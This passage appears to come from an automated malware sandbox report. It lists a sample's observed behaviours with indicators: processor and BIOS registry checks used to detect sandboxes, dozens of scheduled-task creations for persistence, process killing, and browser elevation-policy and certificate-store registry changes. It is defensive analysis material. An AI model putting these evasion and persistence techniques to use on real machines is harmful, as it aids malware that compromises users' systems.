\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0005 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0003 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0055 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0008\ svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\300A svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Mfg svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004A svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Phantom DrvInst.exe -
Checks processor information in registry 2 TTPs 12 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
Setup.exeSetup.exeSetup.exeSetup.exejjSCW2eoA.exeSetup.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Setup.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Setup.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Setup.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Setup.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Setup.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 jjSCW2eoA.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Setup.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Setup.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Setup.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString jjSCW2eoA.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Setup.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Setup.exe -
Creates scheduled task(s) 1 TTPs 38 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 6392 schtasks.exe 12440 schtasks.exe 12196 schtasks.exe 16180 schtasks.exe 6460 schtasks.exe 5088 schtasks.exe 16108 schtasks.exe 15024 schtasks.exe 14248 schtasks.exe 15136 schtasks.exe 10272 schtasks.exe 13324 schtasks.exe 9060 schtasks.exe 11316 schtasks.exe 10760 schtasks.exe 14964 schtasks.exe 6860 schtasks.exe 10140 schtasks.exe 8324 schtasks.exe 11964 schtasks.exe 13528 schtasks.exe 5988 schtasks.exe 360 schtasks.exe 14876 schtasks.exe 7840 schtasks.exe 10880 schtasks.exe 2392 schtasks.exe 8040 schtasks.exe 18108 schtasks.exe 10636 schtasks.exe 6304 schtasks.exe 3100 schtasks.exe 14588 schtasks.exe 13224 schtasks.exe 16668 schtasks.exe 12116 schtasks.exe 8060 schtasks.exe 9000 schtasks.exe -
Delays execution with timeout.exe 5 IoCs
Processes:
timeout.exetimeout.exetimeout.exetimeout.exetimeout.exepid process 8744 timeout.exe 500 timeout.exe 9380 timeout.exe 8712 timeout.exe 14128 timeout.exe -
Enumerates system info in registry 2 TTPs 26 IoCs
Processes:
setup.exemultitimer.exesetup.exeppBOOOa.exesetup.exemultitimer.exerundll32.exesetup.exesetup.exemultitimer.exemultitimer.exemultitimer.exexcopy.exexcopy.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS setup.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS multitimer.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS setup.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS ppBOOOa.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName setup.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS multitimer.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer multitimer.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS rundll32.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS setup.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName setup.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS setup.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer multitimer.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName rundll32.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS multitimer.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName ppBOOOa.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName setup.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS setup.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer multitimer.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName setup.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS multitimer.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer multitimer.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName setup.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer multitimer.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier xcopy.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier xcopy.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS multitimer.exe -
GoLang User-Agent 6 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
Processes:
description flow ioc HTTP User-Agent header 789 Go-http-client/1.1 HTTP User-Agent header 791 Go-http-client/1.1 HTTP User-Agent header 793 Go-http-client/1.1 HTTP User-Agent header 796 Go-http-client/1.1 HTTP User-Agent header 797 Go-http-client/1.1 HTTP User-Agent header 786 Go-http-client/1.1 -
Kills process with taskkill 14 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 11396 taskkill.exe 9312 taskkill.exe 13440 taskkill.exe 6984 taskkill.exe 6120 taskkill.exe 17196 taskkill.exe 11120 taskkill.exe 3472 taskkill.exe 7588 taskkill.exe 1516 taskkill.exe 9748 taskkill.exe 9292 taskkill.exe 2324 taskkill.exe 13356 taskkill.exe -
Processes:
DNnZcAy.exeMicrosoftEdge.exeSxjcCox.exeQDsgliQ.exebrowser_broker.exeMicrosoftEdgeCP.exebrowser_broker.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE}\Policy = "3" DNnZcAy.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Approved Extensions\{B7993E1A-469D-4CED-8208-B2E0791F4668} = 51667a6c4c1d3b1b0a2388aaab118b019d00f3a07e5d0a73 DNnZcAy.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE} SxjcCox.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE}\Policy = "3" SxjcCox.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Approved Extensions\{B7993E1A-469D-4CED-8208-B2E0791F4668} = 51667a6c4c1d3b1b0a2388aaab118b019d00f3a07e5d0a73 SxjcCox.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE}\AppPath = "C:\\Program Files (x86)\\yjiDqdgnMIE" QDsgliQ.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE}\AppName = "eIqwpVq.exe" QDsgliQ.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE}\AppName = "MkWeJlP.exe" SxjcCox.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE}\AppPath = "C:\\Program Files (x86)\\yjiDqdgnMIE" QDsgliQ.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE}\AppName = "MkWeJlP.exe" SxjcCox.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Low Rights SxjcCox.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy SxjcCox.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Approved Extensions SxjcCox.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\eIqwpVq.exe = "9999" QDsgliQ.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE}\Policy = "3" SxjcCox.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Approved Extensions\{B7993E1A-469D-4CED-8208-B2E0791F4668} = 51667a6c4c1d3b1b0a2388aaab118b019d00f3a07e5d0a73 QDsgliQ.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE} SxjcCox.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE}\AppName = "eIqwpVq.exe" QDsgliQ.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE}\Policy = "3" QDsgliQ.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE}\AppName = "jjYUVtV.exe" DNnZcAy.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\MkWeJlP.exe = "9999" SxjcCox.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE}\AppPath = "C:\\Program Files (x86)\\yjiDqdgnMIE" SxjcCox.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\jjYUVtV.exe = "9999" DNnZcAy.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE}\Policy = "3" QDsgliQ.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE}\AppName = "jjYUVtV.exe" DNnZcAy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE}\AppPath = "C:\\Program Files (x86)\\yjiDqdgnMIE" SxjcCox.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE}\AppPath = "C:\\Program Files (x86)\\yjiDqdgnMIE" DNnZcAy.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE}\AppPath = "C:\\Program Files (x86)\\yjiDqdgnMIE" DNnZcAy.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{A3B4F7D2-7277-4E9A-A9A3-6CB544CCE5BE}\Policy = "3" DNnZcAy.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
mask_svc.execsrss.exepowershell.exepowershell.exepowershell.exeDrvInst.exeapp.exeSxjcCox.exepowershell.EXEpowershell.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-792 = "SA Western Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1932 = "Russia TZ 11 Standard Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1871 = "Russia TZ 7 Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket SxjcCox.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\System\CurrentControlSet powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-72 = "Newfoundland Standard Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates DrvInst.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-364 = "Middle East Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-741 = "New Zealand Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates DrvInst.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2342 = "Haiti Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2772 = "Omsk Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2182 = "Astrakhan Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-81 = "Atlantic Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1862 = "Russia TZ 6 Standard Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1822 = "Russia TZ 1 Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates DrvInst.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-512 = "Central Asia Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2142 = "Transbaikal Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-172 = "Central Standard Time (Mexico)" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe -
Modifies registry class 64 IoCs
Processes:
MicrosoftEdge.exeMicrosoftEdgeCP.exeQDsgliQ.exeMicrosoftEdge.exeMicrosoftEdgeCP.execmd.exeDNnZcAy.exeMicrosoftEdgeCP.exeSxjcCox.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\FirstRecoveryTime = 6c3a3b6c55add601 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\Total\ = "48" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{484C7844-4212-4BE0-A3B4-376E9752EB97}\1.0\HELPDIR\ = "C:\\Program Files (x86)\\yjiDqdgnMIE\\" QDsgliQ.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = d4c364d6141cd701 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\theonlygames.com\NumberOfSubd = "0" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus cmd.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local 